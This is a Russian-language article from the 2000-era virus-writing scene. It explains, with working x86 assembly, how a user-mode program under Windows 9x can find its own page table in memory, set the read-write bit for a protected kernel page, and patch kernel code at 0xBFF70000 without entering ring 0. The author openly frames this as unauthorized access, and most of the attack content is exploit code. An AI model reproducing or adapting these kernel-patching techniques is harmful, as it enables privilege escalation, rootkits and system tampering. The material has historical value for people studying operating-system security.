09.05.2000
пишем в kernel из ring3: имеем таблицу страниц
[Z0mbie]
Глюкавость маздая продожает радовать: судя по всему кроме кернела и
кодовых секций программ не предполагалось защищать вообще ничего.
Таким образом здесь будет рассказано о том, как под маздаем можно
произвести запись в ЛЮБОЕ место памяти не переходя для этого
в нулевое кольцо. 8-)
Таблица страниц. Что есть оно?
Вся непрерывная физическая память поделена на 4-килобайтные странички,
коии могут отображаться в 4-гигабайтное пространство в самые разные его
места. Информация обо всем этом деле и хранится в таблице страниц.
Итак, нашей задачей (как обычно) является произвести НСД - а именно
запись в защищенный для записи адрес X.
(все это, ясное дело, из PE файла)
О том что в адрес X писать нельзя, можно узнать двояко - либо
одной из функций IsBadXXXPtr, где XXX - Read, Write, Code и т.п.,
либо используя SEH. Вот оба варианта:
Теперь переходим к вопросу: как пропатчить таблицу страниц.
Для начала надо ее найти.
В доке написано вот что: старшие 20 бит регистра CR3 суть физический
адрес таблицы страниц, младшие 12 бит адреса равны 0
(выравнивание на страницу).
Если в PE файле написать так: mov eax, cr3 то в результате будет
получен хуй. А все потому, что инструкция привилегированная, и может
вызываться только из нулевого кольца. Правда, екскепшена при этом маздай не
генерит, но и EAX не изменяет.
Что же делать? Можно прочитать доку по протмоде, и выяснить, что копия
CR3 для текущего контекста (а надо сказать таблиц страниц может быть
несколько для разных контекстов) лежит в TSS.
Где взять TSS? Селектор ейный получаем командой STR.
(что-то вроде store task register)
Далее все по плану:
Вот только что с ним делать, с физическим адресом из PE файла?
В нулевом кольце его можно было бы транслировать в линейный, а в третьем -
хуй. Поэтому такой метод не годится.
Возникает следующий вариант: найти таблицу страниц поиском в памяти.
При этом искать мы будем не каталог первого уровня, а сразу таблицу
второго уровня, один из двордов которой и будет описанием страницы
содержащей нужный нам адрес.
Но чтобы искать в памяти таблицу, надо знать что в ней находится.
А этого мы знать не можем.
Но не все так плохо. Вышеупомянутая функция IsBadReadPtr говорит нам,
можно ли читать конкретную страничку или нет. А это - уже целый бит.
И точно такого же смысла бит (U/S) есть в дворде, описывающем эту же
самую страничку в таблице страниц.
Таким образом, вызывая IsBadReadPtr для 1024 страниц мы генерим
страницу двордов, в каждом из которых устанавливаем соответствующий бит.
А затем в цикле сравниваем каждый из этих двордов с двордом текущей
проверяемой странички, но сравниваем не весь дворд а только 2й бит, который
в записях таблицы страниц означает readwrite.
Вот так это происходит:
needtbl dd 1024 dup (?)
; return EBX=pagetable for addresses BFC00000...C0000000
find_kernel_pagetable:
; создаем свою табличку
lea edi, needtbl ; наша табличка
cld
mov esi, 0BFC00000h ; ESI--адрес текущей страницы
__maketbl: push 4096
push esi
callW IsBadReadPtr
xor eax, 1 ; 0 <--> 1
shl eax, 2 ; 1 --> 4 (бит 2)
stosd
add esi, 4096
cmp esi, 0C0000000h
jne __maketbl
; ищем такую же страницу в памяти
mov ebx, 0C0000000h ; стартовый адрес поиска
__cycle:
push 4096 ; можно ли читать?
push ebx
callW IsBadReadPtr
or eax, eax
jnz __cont
xor edi, edi ; сравниваем страницы
__scan: mov eax, [ebx+edi]
and eax, 4 ; но так, чтобы совпадал только
xor eax, needtbl[edi] ; 2й бит каждого дворда
jnz __cont
add edi, 4
cmp edi, 4096
jb __scan
clc ; нашли
ret
__cont: add ebx, 4096
cmp ebx, 0D0000000h ; конечный адрес поиска
jb __cycle
stc ; облом
ret
Вот таким вот вышеприведенным куском кода и находится нужная нам
страница из таблицы страниц, описывающая страницы в диапазоне
BFC00000...C0000000.
Теперь надо изменить бит RW, скажем для адреса BFF70000.
Делаем так:
; ищем нужную нам страницу
call find_kernel_pagetable
jc __damnedsonofabitch
; снимаем защиту
c1 = (0BFF70000h-0BFC00000h)/1024
or dword ptr [ebx + c1], 2 ; RW=1
; на всякий случай проверяемся
push 4096
push 0bff70000h
call IsBadReadPtr
or eax, eax
jnz __exit
; патчим кернел
not dword ptr ds:[0bff70000h]
; устанавливаем защиту взад
and dword ptr [ebx + c1], not 2 ; RW=0
Вот собственно и все, что я вам хотел сказать по этому поводу.
Теперь у вас может (и должен) возникнуть такой вопрос: а откуда
в примере выше взялись числа BFC00000 и C0000000 ?
А обо всем этом написано в приложении.
Ну так вот, кратко. Все 4GB памяти делятся на 1024 куска по 4MB.
Таблица страниц первого уровня описывает адреса 1024х таблиц второго
уровня. А каждая из таблиц второго уровня описывает 1024 обычных страницы.
Таким образом два вышеприведенных числа -- это BFF70000 округленное до
4MB в меньшую и большую сторону соответственно.
И еще. Если вы в примере, где мы считываем CR3 из TSS, измените
mov eax, [ecx+1Ch] на mov eax, [ecx+4], то вы поимеете ESP0, то бишь
ESP того кода, который вызвал текущую задачу. Клево?